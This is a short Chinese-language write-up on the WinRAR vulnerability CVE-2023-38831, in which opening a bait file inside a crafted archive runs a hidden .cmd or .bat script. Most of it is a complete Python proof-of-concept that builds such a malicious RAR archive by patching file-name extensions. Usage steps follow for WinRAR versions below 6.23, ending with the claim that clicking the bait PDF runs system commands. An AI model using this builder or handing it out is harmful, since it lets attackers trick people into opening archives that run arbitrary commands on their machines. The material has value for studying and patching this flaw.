【CVE-2023-38831】WinRAR漏洞
WinRAR漏洞??
当用户打开该文档或者图像时,该漏洞将导致执行当前目录下的同名文件夹下的cmd或者bat脚本,可在设备上安装恶意软件,或者执行恶意指令。这个漏洞攻击者可以诱导被攻击者执行命令。
官方给的pyload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import shutil import os, sys from os.path import join TEMPLATE_NAME = "TEMPLATE" OUTPUT_NAME = "CVE-2023-38831-poc.rar"
BAIT_NAME = "carrot.pdf" SCRIPT_NAME = "script.bat"
if len(sys.argv) > 3: BAIT_NAME = os.path.basename(sys.argv[1]) SCRIPT_NAME = os.path.basename(sys.argv[2]) OUTPUT_NAME = os.path.basename(sys.argv[3]) elif len(sys.argv) == 2 and sys.argv[1] == "poc": pass else: print("""Usage: python .\cve-2023-38831.py poc python .\cve-2023-38831.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""") sys.exit()
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("BAIT_NAME:", BAIT_NAME) print("SCRIPT_NAME:", SCRIPT_NAME) print("OUTPUT_NAME:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME): shutil.rmtree(TEMPLATE_NAME) os.mkdir(TEMPLATE_NAME) d = join(TEMPLATE_NAME, BAIT_NAME + "A") if not os.path.exists(d): os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd")) shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f: content = f.read() content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ") content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(OUTPUT_NAME, "wb") as f: f.write(content)
print("ok..")
|
实验材料
python
环境、WinRar 版本 < 6.23
创建一个 名为 carrot.pdf cmd.bat/script.bat 随便都行
使用cmd命令执行:
1
| python CVE-2023-38831.py carrot.pdf cmd.bat carrot.rar
|
结果:
我们点击carrot.pdf
的时候,自动执行系统命令